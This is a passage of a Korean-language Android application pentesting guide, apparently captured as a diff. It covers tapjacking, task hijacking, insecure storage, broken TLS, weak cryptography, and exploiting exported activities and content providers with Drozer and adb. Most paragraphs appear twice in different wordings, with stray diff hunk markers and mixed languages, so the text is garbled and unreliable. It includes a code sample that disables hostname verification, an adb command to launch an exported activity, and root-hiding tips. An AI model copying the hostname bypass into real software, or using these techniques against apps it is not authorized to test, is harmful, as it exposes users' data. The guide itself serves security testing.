Tapjacking은 악성 애플리케이션이 실행되어 피해자 애플리케이션 위에 자신을 배치하는 공격입니다. 일단 피해자 앱을 시각적으로 가리면, 악성 앱의 UI는 사용자가 그것과 상호작용하도록 속이도록 설계되며, 동시에 그 상호작용을 피해자 앱으로 전달합니다. 결과적으로 사용자는 실제로 피해자 앱에서 동작을 수행하고 있다는 사실을 알지 못하게 됩니다.
Tapjacking은 **malicious** **application**이 실행되어 **victim application 위에 위치**하는 공격입니다. 악성 앱이 피해자 앱을 시각적으로 가리면, UI는 사용자가 상호작용하도록 유도하도록 설계되고 그 상호작용을 피해자 앱으로 전달합니다.\
결과적으로 사용자는 자신이 실제로는 피해자 앱에서 작업하고 있다는 사실을 **알지 못하게 됩니다**.
자세한 정보는 다음을 참조하세요:
자세한 내용은 다음을 참조하세요:
{{#ref}}
@ -102,82 +104,82 @@ tapjacking.md
### Task Hijacking
`launchMode``singleTask`로 설정되어 있고 `taskAffinity`가 정의되어 있지 않은 activity는 task Hijacking에 취약합니다. 즉, 악성 application을 설치하고 실제 application보다 먼저 실행하면 실제 애플리케이션의 task를 가로챌 수 있으므로(사용자는 실제 애플리케이션을 사용한다고 생각하면서 악성 application과 상호작용하게 됩니다).
`launchMode`**`singleTask`**로 설정되어 있고 `taskAffinity`가 정의되어 있지 않은 **activity**는 Task Hijacking에 취약합니다. 이는 악성 **application**을 설치하고 실제 앱보다 먼저 실행하면 **실제 앱의 task를 hijack**할 수 있다는 뜻이며(따라서 사용자는 실제 앱을 사용한다고 생각하면서 **악성 앱과 상호작용**하게 됩니다).
추가 정보:
자세한 내용은:
{{#ref}}
android-task-hijacking.md
{{#endref}}
### 불안정한 데이터 저장
### Insecure data storage
Internal Storage
**Internal Storage**
Android에서 internal storage에 저장된 파일은 이를 생성한 app만 접근하도록 설계되어 있습니다. 이 보안 조치는 Android 운영체제에 의해 강제되며 대부분의 애플리케이션 보안 요구에 대해 일반적으로 충분합니다. 그러나 개발자가 `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`과 같은 모드를 사용하여 파일을 서로 다른 애플리케이션 간에 공유하도록 허용하는 경우가 있습니다. 이러한 모드는 잠재적으로 악성 앱을 포함한 다른 애플리케이션의 파일 접근을 제한하지 않습니다.
Android에서 내부 저장소에 **저장된** 파일은 해당 파일을 **생성한 앱만 접근하도록 설계**되어 있습니다. 이 보안 조치는 Android OS에 의해 강제되며 대부분의 애플리케이션에 대해 충분합니다. 다만 개발자가 `MODE_WORLD_READABLE` 또는 `MODE_WORLD_WRITABLE`과 같은 모드를 사용하여 서로 다른 애플리케이션 간 파일 공유를 허용하는 경우가 있습니다. 이러한 모드는 잠재적으로 악성 앱을 포함한 다른 애플리케이션 파일 접근을 **제한하지 않습니다**.
1. **정적 분석:**
- `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE`의 사용을 **면밀히 검토**하세요. 이러한 모드는 파일을 의도하지 않거나 무단 접근에 **노출시킬 수 있습니다**.
2. **동적 분석:**
- 앱이 생성한 파일에 설정된 **permissions**를 **확인**하세요. 특히 어떤 파일이 전역적으로 읽기 또는 쓰기가 가능하도록 설정되어 있는지 **확인**해야 합니다. 이는 장치에 설치된 **어떤 application**이라도 출처나 의도와 상관없이 해당 파일을 읽거나 수정할 수 있게 하여 심각한 보안 위험을 초래할 수 있습니다.
1. **Static Analysis:**
- `MODE_WORLD_READABLE``MODE_WORLD_WRITABLE` 사용 여부를 **주의 깊게 검토**하세요. 이러한 모드는 파일이 **의도치 않거나 무단으로 노출**될 수 있습니다.
2. **Dynamic Analysis:**
- 앱이 생성한 파일에 설정된 **권한**을 **확인**하세요. 특히 어떤 파일이 전 세계적으로 읽기 또는 쓰기 가능하게 설정되어 있는지 확인해야 합니다. 이는 어떤 애플리케이션이든(출처나 의도와 관계없이) 해당 파일을 **읽거나 수정**할 수 있게 하므로 심각한 보안 위험을 초래할 수 있습니다.
External Storage
**External Storage**
SD 카드와 같은 **external storage**의 파일을 다룰 때는 다음과 같은 주의사항이 필요합니다:
SD 카드와 같은 **external storage**의 파일을 다룰 때는 다음을 유의하세요:
1. 접근성:
- 외부 저장소의 파일은 **전역적으로 읽기 및 쓰기 가능**합니다. 즉, 어떤 application이나 사용자도 이 파일들에 접근할 수 있습니다.
2. 보안 문제:
- 접근이 용이하기 때문에 **민감한 정보를 외부 저장소에 저장하지 않는 것**을 권장합니다.
- 외부 저장소는 제거될 수 있고 어떤 application도 접근할 수 있어 덜 안전합니다.
3. 외부 저장소에서 가져온 데이터 처리:
- 외부 저장소에서 가져온 데이터에 대해 항상 **입력 검증(input validation)**을 수행하세요. 이는 해당 데이터가 신뢰할 수 없는 출처에서 온 것이기 때문에 매우 중요합니다.
- 외부 저장소에 실행 파일이나 class 파일을 두고 동적으로 로드하는 것은 강력히 권장되지 않습니다.
- 애플리케이션이 외부 저장소에서 실행 파일을 가져와야 하는 경우, 이러한 파일이 동적으로 로드되기 전에 **서명되고 암호학적으로 검증**되었는지 확인하세요. 이 단계는 애플리케이션의 보안 무결성을 유지하는 데 필수적입니다.
1. **접근성**:
- 외부 저장소의 파일은 **전역적으로 읽기 및 쓰기 가능**합니다. 즉, 어떤 애플리케이션이나 사용자도 접근할 수 있습니다.
2. **보안 문제**:
- 접근이 쉬우므로 민감한 정보를 외부 저장소에 저장하지 않는 것이 좋습니다.
- 외부 저장소는 제거될 수 있고 어떤 애플리케이션에서도 접근할 수 있어 보안성이 낮습니다.
3. **외부 저장소의 데이터 처리**:
- 외부 저장소에서 가져온 데이터에 대해 항상 **입력 검증(input validation)**을 수행하세요. 외부 저장소의 데이터는 신뢰할 수 없는 소스에서 왔기 때문에 중요합니다.
- 외부 저장소에 executables나 class 파일을 저장해 동적으로 로드하는 것은 강력히 권장되지 않습니다.
- 애플리케이션이 외부 저장소에서 실행 파일을 가져와야 하는 경우, 동적으로 로드하기 전에 해당 파일들이 **서명되고 암호학적으로 검증**되었는지 확인하세요. 이는 애플리케이션의 보안 무결성을 유지하는 데 필수적입니다.
외부 저장소는 `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`에서 접근할 수 있습니다.
외부 저장소는 /storage/emulated/0 , /sdcard , /mnt/sdcard 에서 접근할 수 있습니다.
> [!TIP]
> Android 4.4(**API 17**)부터 SD 카드는 앱별 디렉터리로의 접근을 제한하는 디렉터리 구조를 가지게 됩니다. 이는 악성 application이 다른 앱의 파일에 대한 읽기 또는 쓰기 접근을 획득하는 것을 방지합니다.
> Android 4.4(**API 17**)부터 SD 카드에는 앱별 디렉터리 구조가 있어 **앱이 자기 전용 디렉터리로만 접근을 제한**합니다. 이는 악성 애플리케이션이 다른 앱의 파일을 읽거나 쓰는 접근을 얻는 것을 방지합니다.
**암호화되지 않은(평문)으로 저장된 민감한 데이터**
**Sensitive data stored in clear-text**
- **Shared preferences**: Android는 각 애플리케이션이 `/data/data/<packagename>/shared_prefs/` 경로에 xml 파일을 쉽게 저장할 수 있도록 허용하며, 때때로 해당 폴더에서 평문으로 된 민감한 정보를 찾을 수 있습니다.
- **Databases**: Android는 각 애플리케이션이 `/data/data/<packagename>/databases/` 경로에 sqlite 데이터베이스를 쉽게 저장할 수 있도록 허용하며, 때때로 해당 폴더에서 평문으로 된 민감한 정보를 찾을 수 있습니다.
- **Shared preferences**: Android는 각 애플리케이션이 `/data/data/<packagename>/shared_prefs/` 경로에 xml 파일을 쉽게 저장하도록 허용하며, 이 폴더에서 민감한 정보가 평문으로 저장되어 있는 경우가 종종 있습니다.
- **Databases**: Android는 각 애플리케이션이 `/data/data/<packagename>/databases/` 경로에 sqlite 데이터베이스를 쉽게 저장하도록 허용하며, 이 폴더에서 민감한 정보가 평문으로 저장되어 있는 경우가 종종 있습니다.
### Broken TLS
**Accept All Certificates**
어떤 이유로 개발자들이 호스트명이 일치하지 않더라도 모든 인증서를 수락하는 경우가 있습니다. 예를 들어 다음과 같은 코드 라인으로:
어떤 이유로 개발자들이 호스트명이 일치하지 않도 모든 인증서를 수락하는 경우가 있습니다. 예를 들어 다음과 같은 코드 라인처럼:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
좋은 방법은 기기 내부에서 Burp CA를 신뢰(허가)하지 않은 상태로 Burp 같은 프록시를 사용해 트래픽을 캡처해보는 것이다. 또한 Burp로 다른 호스트명에 대한 인증서를 생성해 사용해볼 수도 있다.
### 취약한 암호화
**열악한 키 관리 프로세스**
**부적절한 키 관리 프로세스**
일부 개발자는 민감한 데이터를 로컬 스토리지에 저장하고 코드에 하드코딩되었거나 예측 가능한 키로 암호화합니다. 이는 리버스엔지니어링(reversing)으로 공격자가 기밀 정보를 추출할 수 있으므로 해서는 안 됩니다.
일부 개발자는 민감한 데이터를 로컬 스토리지에 저장하고 코드에 하드코딩되었거나 예측 가능한 키로 암호화한다. 리버싱을 통해 공격자가 기밀 정보를 추출할 수 있으므로 이렇게 해서는 안 된다.
**안전하지 않거나/또는 더 이상 사용되지 않는 알고리즘의 사용**
**안전하지 않거나/또는 폐기된 알고리즘의 사용**
개발자는 권한 검사(authorisation checks), 데이터 저장(store) 또는 전송(send)에 **deprecated algorithms**를 사용해서는 안 됩니다. 이런 알고리즘에는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 비밀번호 저장에 **hashes**를 사용한다면, salt와 함께 브루트포스에 강한 해시 알고리즘을 사용해야 합니다.
개발자는 권한 부여 **검사**(authorization **checks**), 데이터 **저장** 또는 **전송**에 **deprecated algorithms**를 사용해서는 안 된다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있다. 예를 들어 비밀번호를 저장하기 위해 **hashes**를 사용한다면, 솔트와 함께 브루트포스에 **강한** 해시 알고리즘을 사용해야 한다.
### 기타 점검사항
### 기타 확인사항
- 공격자의 리버스 엔지니어링 작업을 어렵게 하기 위해 **obfuscate the APK** 하는 것이 권장됩니다.
- 앱이 민감한 성격(예: 은행 앱)이라면 모바일이 루팅되었는지에 대해 자체적으로 검사하고 그에 따라 동작해야 합니다.
- 앱이 민감한 성격(예: 은행 앱)이라면 **emulator** 사용 여부를 검사해야 합니다.
- 앱이 민감한 성격(예: 은행 앱)이라면 실행하기 전에 **자기 무결성(self integrity)** 을 검사하여 수정되었는지 확인해야 합니다.
- 어떤 컴파일러/패커/난독화 도구로 APK가 빌드되었는지 확인하려면 [**APKiD**](https://github.com/rednaga/APKiD)를 사용하세요
- 역공학 작업을 어렵게 하기 위해 **obfuscate the APK** 하는 것이 권장된다.
- 앱이 민감한 경우(예: 은행 앱)에는 모바일이 **rooted** 되었는지 확인하는 **자체 검사(own checks to see if the mobile is rooted)**를 수행하고 그에 맞게 동작해야 한다.
- 앱이 민감한 경우(예: 은행 앱)에는 **emulator** 사용 여부를 확인해야 한다.
- 앱이 민감한 경우(예: 은행 앱)에는 실행 전에 **자기 무결성(self integrity)** 을 **체크**하여 수정 여부를 확인해야 한다.
- 어떤 compiler/packer/obfuscator로 APK가 빌드되었는지 확인하려면 [**APKiD**](https://github.com/rednaga/APKiD)를 사용하
### React Native Application
다음 페이지를 읽어 React 애플리케이션의 JavaScript 코드를 쉽게 접근하는 방법을 확인하세요:
React 애플리케이션의 javascript 코드를 쉽게 접근하는 방법을 배우려면 다음 페이지를 읽어라:
{{#ref}}
@ -186,7 +188,7 @@ react-native-application.md
### Xamarin Applications
다음 페이지를 읽어 Xamarin 애플리케이션의 C# 코드에 쉽게 접근하는 방법을 확인하세요:
Xamarin 애플리케이션의 C# 코드에 쉽게 접근하는 방법을 배우려면 다음 페이지를 읽어라:
{{#ref}}
@ -195,17 +197,17 @@ react-native-application.md
### Superpacked Applications
이 [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)에 따르면 superpacked는 애플리케이션의 콘텐츠를 하나의 파일로 압축하는 Meta 알고리즘입니다. 블로그는 이러한 종류의 앱을 압축 해제하는 앱을 만드는 가능성에 대해 이야기하고 있으며... 더 빠른 방법으로는 **애플리케이션을 실행하고 파일시스템에서 압축 해제된 파일을 수집(execute the application and gather the decompressed files from the filesystem.)**하는 방법이 있습니다.
이 [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/)에 따르면 superpacked는 애플리케이션의 내용을 하나의 파일로 압축하는 Meta 알고리즘이다. 블로그는 이런 종류의 앱을 압축 해제하는 앱을 만드는 가능성에 대해 이야기한다... 그리고 더 빠른 방법으로는 **애플리케이션을 실행하고 파일시스템에서 압축 해제된 파일을 수집하는 것**이 있다.
### Automated Static Code Analysis
도구 [**mariana-trench**](https://github.com/facebook/mariana-trench)는 애플리케이션의 **코드**를 **스캔**하여 **취약점(vulnerabilities)** 을 찾을 수 있습니다. 이 도구는 **known sources**(도구에 **입력(input)****사용자에 의해 제어되는 위치**를 알려주는 것), **sinks**(악의적 사용자 입력이 피해를 줄 수 있는 **위험한 위치**) 및 **rules**의 집합을 포함합니다. 이 규칙들은 취약점을 나타내는 **sources-sinks**의 **조합**을 지시합니다.
도구 [**mariana-trench**](https://github.com/facebook/mariana-trench)는 애플리케이션의 **코드**를 **스캔**하여 **취약점(vulnerabilities)** 을 찾을 수 있다. 이 도구는 **known sources**(사용자가 제어하는 **입력(input)** 이 위치하는 **지점**을 도구에 알려주는 것), **sinks**(악의적인 사용자 입력이 피해를 줄 수 있는 **위험한 지점**) 및 **rules**의 집합을 포함한다. 이러한 규칙들은 취약점을 나타내는 **sources-sinks 조합**을 지정한다.
이 지식을 바탕으로 **mariana-trench는 코드를 검토하여 가능한 취약점을 찾아냅니다.**
이 지식을 바탕으로 **mariana-trench**는 코드를 검토하고 잠재적인 취약점을 찾아낼 것이다.
### Secrets leaked
애플리케이션에 API 키, 비밀번호, 숨겨진 URL, 서브도메인 등과 같은 비밀이 포함되어 있을 수 있으며 이를 발견할 수 있습니다. 예를 들어 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) 같은 도구를 사용할 수 있습니다.
애플리케이션 내부에 API 키, 비밀번호, 숨겨진 URL, 서브도메인 등과 같은 secrets가 포함되어 있을 수 있으며 이를 발견할 수 있다. 다음과 같은 도구를 사용할 수 있다: [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
@ -214,7 +216,7 @@ react-native-application.md
bypass-biometric-authentication-android.md
{{#endref}}
### 기타 흥미로운 기능
### Other interesting functions
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
@ -232,47 +234,47 @@ content-protocol.md
---
## 동적 분석
## Dynamic Analysis
> 우선, 애플리케이션과 관련 환경(Burp CA cert, Drozer 및 Frida 등)을 설치할 수 있는 환경이 필요합니다. 따라서 루팅된 디바이스(에뮬레이터든 아니든)가 강력히 권장됩니다.
> 먼저, 애플리케이션과 환경(Burp CA cert, Drozer 및 Frida 등)을 설치할 수 있는 환경이 필요하다. 따라서 루팅된 기기(에뮬레이터든 실제든)가 강력히 추천된다.
### 온라인 동적 분석
### Online Dynamic analysis
다음에서 **무료 계정**을 생성할 수 있습니다: [https://appetize.io/](https://appetize.io/). 이 플랫폼은 APK를 **업로드**하고 **실행**할 수 있게 해주므로 APK가 어떻게 동작하는지 확인하는 데 유용합니다.
[https://appetize.io/](https://appetize.io/)에서 **무료 계정**을 만들 수 있다. 이 플랫폼은 APK를 **업로드**하고 **실행**할 수 있게 해 주므로 APK가 어떻게 동작하는지 확인하는 데 유용다.
웹에서 애플리케이션의 로그를 확인하고 **adb**를 통해 연결할 수도 있습니다.
웹에서 애플리케이션의 로그를 **볼 수 있고** adb로 연결할 수도 있다.
![](<../../images/image (831).png>)
ADB 연결 덕분에 에뮬레이터 에서 **Drozer**와 **Frida**를 사용할 수 있습니다.
ADB 연결 덕분에 에뮬레이터 내부에서 **Drozer**와 **Frida**를 사용할 수 있다.
### 로컬 동적 분석
### Local Dynamic Analysis
#### 에뮬레이터 사용
#### Using an emulator
- [**Android Studio**](https://developer.android.com/studio) (x86 및 arm 디바이스를 생성할 수 있으며, [**이 글**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)에 따르면 최신 x86 버전은 느린 ARM 에뮬레이터 없이도 ARM 라이브러리를 지원합니다).
- 설정 방법은 다음 페이지에서 확인하세요:
- [**Android Studio**](https://developer.android.com/studio) (x86 및 arm 디바이스를 생성할 수 있으며, [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**에 따르면 최신 x86** 버전은 느린 arm 에뮬레이터가 없어도 **ARM 라이브러리**를 지원한다.)
- 이 페이지에서 설정하는 법을 배우라:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(무료 버전:** Personal Edition, 계정 생성 필요. _가능한 오류를 피하려면 VirtualBox가 포함된 버전을 **WITH** 다운로드하는 것이 권장됩니다._)
- [**Nox**](https://es.bignox.com) (무료지만 Frida나 Drozer는 지원하지 않습니다).
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, 계정 생성 필요. _잠재적 오류를 피하려면_ _**VirtualBox 포함**_ 버전을 **다운로드**하는 것이 권장된다._)
- [**Nox**](https://es.bignox.com) (무료, 하지만 Frida나 Drozer는 지원하지 않음).
> [!TIP]
> 새 에뮬레이터를 만들 때 화면이 클수록 에뮬레이터가 더 느려집니다. 가능하면 작은 화면을 선택하세요.
> 어떤 플랫폼에서 새 에뮬레이터를 생성할 때 화면이 클수록 에뮬레이터가 느려진다. 가능한 경우 작은 화면을 선택하라.
Genymotion에 **google services**(예: AppStore)를 설치하려면 다음 이미지에서 빨간 표시된 버튼을 클릭해야 합니다:
Genymotion에서 Google 서비스(예: AppStore)를 설치하려면 다음 이미지의 빨간 표시된 버튼을 클릭해야 한다:
![](<../../images/image (277).png>)
또한 **Genymotion의 Android VM 구성(configuration of the Android VM in Genymotion)**에서 **Bridge Network mode**를 선택할 수 있음을 확인하세요(다른 VM에서 도구로 Android VM에 연결할 경우 유용합니다).
또한 **Genymotion의 Android VM 설정**에서 **Bridge Network mode**를 선택할 수 있는데(이것은 다른 VM에서 도구로 Android VM에 연결할 경우 유용하다) 이를 확인하라.
#### 물리적 디바이스 사용
#### Use a physical device
**debugging** 옵션을 활성화해야 하며 루팅(root)하면 더 좋습니다:
디버깅 옵션을 활성화해야 하며, 가능하다면 **root**하는 것이 좋다:
1. **Settings**.
2. (FromAndroid 8.0) Select **System**.
@ -280,67 +282,65 @@ Genymotion에 **google services**(예: AppStore)를 설치하려면 다음 이
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
> 애플리케이션을 설치한 후 가장 먼저 해야 할 일은 앱을 직접 실행해 무엇을 하는지, 어떻게 동작하는지 조사하여 익숙해지는 것입니다.\
> 저는 MobSF dynamic analysis + pidcat을 사용한 초기 동적 분석을 수행할 것을 제안합니다. 이렇게 하면 애플리케이션이 어떻게 동작하는지 배우는 동시에 MobSF가 나중에 검토할 수 있는 많은 흥미로운 데이터를 캡처합니다.
> 애플리케이션을 설치한 후 가장 먼저 해야 할 일은 앱을 실행해 무엇을 하는지, 어떻게 동작하는지 조사하여 익숙해지는 것다.\
> 초기 동적 분석은 MobSF dynamic analysis + pidcat를 사용해 수행할 것을 권장한다. 이렇게 하면 MobSF가 나중에 검토할 수 있는 많은 **흥미로운 데이터**를 캡처하는 동안 애플리케이션의 동작을 학습할 수 있다.
Magisk/Zygisk quick notes (recommended on Pixel devices)
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
- Keep original boot.img to recover from OTA updates; re-patch after each OTA
- For screen mirroring, use scrcpy on the host
- Magisk 앱으로 boot.img를 패치하고 fastboot로 플래시하여 systemless root를 얻는다
- Zygisk + DenyList를 활성화하여 루트 숨기기를 수행; 더 강한 숨김이 필요하면 LSPosed/Shamiko 고려
- OTA 업데이트에서 복구할 수 있도록 원본 boot.img를 보관; OTA 후 재패치 필요
- 화면 미러링은 호스트에서 scrcpy 사용
### Unintended Data Leakage
**Logging**
### 의도치 않은 데이터 leak
**로깅**
개발자는 **디버깅 정보(debugging information)** 를 공개적으로 노출하지 않도록 주의해야 합니다. 이는 민감한 데이터가 leak될 수 있기 때문입니다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 [**pidcat**](https://github.com/JakeWharton/pidcat) 및 `adb logcat` 도구를 권장합니다. **Pidcat**은 사용 편의성과 가독성 때문에 선호됩니다.
개발자는 **디버깅 정보**를 공개적으로 노출하지 않도록 주의해야 한다. 이는 민감한 데이터 유출로 이어질 수 있다. 애플리케이션 로그를 모니터링하여 민감한 정보를 식별하고 보호하기 위해 도구 [**pidcat**](https://github.com/JakeWharton/pidcat)와 `adb logcat`를 권장한다. **Pidcat**은 사용 편의성과 가독성 때문에 선호된다.
> [!WARNING]
> Android 4.0 이후 버전부터 **애플리케이션은 자신의 로그만 접근할 수 있습니다**. 따라서 앱은 다른 앱의 로그를 접근할 수 없습니다.\
> 그럼에도 불구하고 민감한 정보를 로그에 남기지 않는 것이 권장됩니다.
> Android 4.0보다 **이후 버전부터는**, **애플리케이션은 자신의 로그만 접근할 수 있다**는 점을 유의하라. 따라서 앱은 다른 앱의 로그에 접근할 수 없다.\
> 어쨌든, 민감한 정보를 로그에 남기지 않는 것이 여전히 권장된다.
**복사/붙여넣기 버퍼 캐싱**
**Copy/Paste Buffer Caching**
Android의 **클립보드 기반** 프레임워크는 앱 간 복사-붙여넣기 기능을 제공하지만 **다른 애플리케이션**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있습니다. 신용카드 정보 같은 민감한 섹션에 대해서는 복사/붙여넣기 기능을 비활성화하는 것이 중요합니다.
Android의 **클립보드 기반** 프레임워크는 앱 간 복사-붙여넣기 기능을 제공하지만, **다른 애플리케이션**이 클립보드에 접근할 수 있어 민감한 데이터가 노출될 위험이 있다. 신용카드 정보와 같이 민감한 섹션에서는 복사/붙여넣기 기능을 비활성화하는 것이 중요하다.
**크래시 로그**
**Crash Logs**
애플리케이션이 **크래시**하고 로그를 저장하면, 해당 로그는 특히 애플리케이션을 리버스엔지니어링할 수 없는 경우 공격자에게 도움이 될 수 있습니다. 이를 완화하려면 크래시 시 로그를 남기지 말고, 로그를 네트워크로 전송해야 한다면 반드시 SSL 채널을 통해 전송하세요.
애플리케이션이 **크래시**하여 로그를 저장하면, 특히 애플리케이션을 리버스 엔지니어링할 수 없을 때 공격자에게 도움이 될 수 있다. 이를 완화하려면 크래시 시 로깅을 피하고, 로그를 네트워크로 전송해야 한다면 SSL 채널을 통해 전송하도록 하라.
펜테스터(pentester)로서 **이 로그들을 확인해 보세요**.
As pentester, **try to take a look to these logs**.
**제3자에게 전송되는 분석 데이터**
**Analytics Data Sent To 3rd Parties**
애플리케이션은 종종 Google Adsense와 같은 서비스를 통합하며, 개발자의 잘못된 구현으로 인해 민감한 데이터가 의도치 않게 leak될 수 있습니다. 데이터 유출 가능성을 식별하려면 애플리케이션의 트래픽을 가로채어 제3자에게 전송되는 민감한 정보가 있는지 확인하는 것이 좋습니다.
애플리케이션은 종종 Google Adsense와 같은 서비스를 통합하는데, 개발자의 잘못된 구현으로 인해 민감한 데이터가 **leak**될 수 있다. 잠재적 데이터 누수를 식별하려면 애플리케이션의 트래픽을 가로채고 제3자 서비스로 전송되는 민감한 정보가 있는지 확인하는 것이 바람직하다.
### SQLite DBs
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용합니다. 펜테스트 중에는 생성된 **데이터베이스**, **테이블****컬럼** 이름과 저장된 모든 **데이터**를 확인하세요. 민감한 정보를 발견할 수 있으며 이는 취약점이 됩니다.\
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 하며 예시는 `/data/data/com.mwr.example.sieve/databases` 입니다.
대부분의 애플리케이션은 정보를 저장하기 위해 **내부 SQLite 데이터베이스**를 사용다. 펜테스트 중에는 생성된 **데이터베이스**, **테이블****컬럼 이름**, 그리고 저장된 모든 **데이터**를 살펴보라. 민감한 정보를 찾을 수 있으며 이는 취약점이 될 수 있다.\
데이터베이스는 `/data/data/the.package.name/databases`에 위치해야 한다(예: `/data/data/com.mwr.example.sieve/databases`).
데이터베이스가 기밀 정보를 저장하고 있고 **암호화되어(encrypted)** 있더라도 애플리케이션 내에서 **암호(password)** 를 찾을 수 있다면 여전히 **취약점**입니다.
만약 데이터베이스가 기밀 정보를 저장하는데 **암호화되어 있고**, 그 암호를 애플리케이션 내부에서 **찾을 수 있다면** 이것은 여전히 **취약점**이다.
`.tables`로 테이블을 열거하고 `.schema <table_name>`으로 테이블의 컬럼을 확인하세요.
테이블을 열거하려면 `.tables`를 사용하고, 테이블의 컬럼을 나열하려면 `.schema <table_name>`을 사용하라.
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**를 사용하면 **Android 앱의 역할을 맡아** 다른 앱과 상호작용할 수 있습니다. 설치된 애플리케이션이 할 수 있는 모든 작업—Android의 Inter-Process Communication(IPC) 메커니즘을 이용하거나 기본 운영체제와 상호작용하는 것—을 수행할 수 있습니다. .\
Drozer는 **exported activities, exported services 및 Content Providers**를 **익스플로잇**하는 데 유용한 도구입니다. 다음 섹션에서 이를 배우게 될 것입니다.
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer**는 Android 앱의 역할을 가정하고 다른 앱과 상호작용할 수 있게 해준다. 설치된 애플리케이션이 할 수 있는 모든 것을 수행할 수 있으며, Android의 Inter-Process Communication(IPC) 메커니즘을 사용하고 기본 운영체제와 상호작용할 수 있다.\
Drozer는 export된 activities, export된 services 및 Content Providers를 **exploit**하는 데 유용한 도구이며, 다음 섹션에서 이를 배우게 될 것이다.
### Exported Activities 익스플로잇
### Exploiting exported Activities
[**Android Activity가 무엇인지 복습하고 싶다면 이것을 읽으세요.**](android-applications-basics.md#launcher-activity-and-other-activities)\
또한 액티비티의 코드는 **`onCreate`** 메서드에서 시작된다는 것을 기억하세요.
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
또한 activity의 코드는 **`onCreate`** 메서드에서 시작된다는 것을 기억하라.
**권한/인증 우회(Authorisation bypass)**
**Authorisation bypass**
Activity가 exported되어 있으면 외부 앱에서 그 화면을 호출할 수 있습니다. 따라서 **민감한 정보를 포함한 액티비티가 exported되어 있다면**, 인증 메커니즘을 **bypass**하여 접근할 수 있습니다.
Activity가 export되어 있으면 외부 앱에서 해당 화면을 호출할 수 있다. 따라서 **민감한 정보**를 가진 액티비티가 **exported** 되어 있다면 인증 메커니즘을 **bypass**하여 접근할 수 있다.
[**Drozer로 exported activities를 익스플로잇하는 방법을 배우세요.**](drozer-tutorial/index.html#activities)
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
다음과 같이 adb에서 exported activity를 시작할 수도 있습니다:
다음과 같이 adb에서 export된 activity를 시작할 수도 있다:
- PackageName is com.example.demo
- Exported ActivityName is com.example.test.MainActivity
@ -350,105 +350,105 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
**참고**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21).
> [!TIP]
> Note that an authorisation bypass is not always a vulnerability, it would depend on how the bypass works and which information is exposed.
> 권한 우회(authorisation bypass)가 항상 취약점은 아니며, 우회 방식과 어떤 정보가 노출되는지에 따라 달라집니다.
**Sensitive information leakage**
**민감한 정보 누출**
**액티비티는 결과를 반환할 수도 있습니다**. export되어 있고 보호되지 않은 액티비티가 **`setResult`** 메서드를 호출하며 **민감한 정보를 반환**한다면, sensitive information leakage가 발생합니다.
Activities can also return results. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage.
#### Tapjacking
Tapjacking이 방지되지 않는다면, export된 액티비티를 악용하여 **사용자가 예상치 못한 동작을 수행하도록** 만들 수 있습니다. 자세한 내용은 [**what is Tapjacking follow the link**](#tapjacking)를 참조하세요.
If tapjacking isn't prevented, you could abuse the exported activity to make the **user perform unexpected actions**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers는 기본적으로 **데이터 공유**에 사용됩니다. 앱에 사용 가능한 content providers가 있다면 그들로부터 **민감한 데이터를 추출**할 수 있을지도 모릅니다. 또한 **SQL injections****Path Traversals** 가능성을 테스트해보는 것도 흥미로운데, 취약할 수 있기 때문입니다.
Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable.
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Service의 동작은 `onStartCommand` 메서드에서 시작한다는 것을 기억하세요.
Remember that a the actions of a Service start in the method `onStartCommand`.
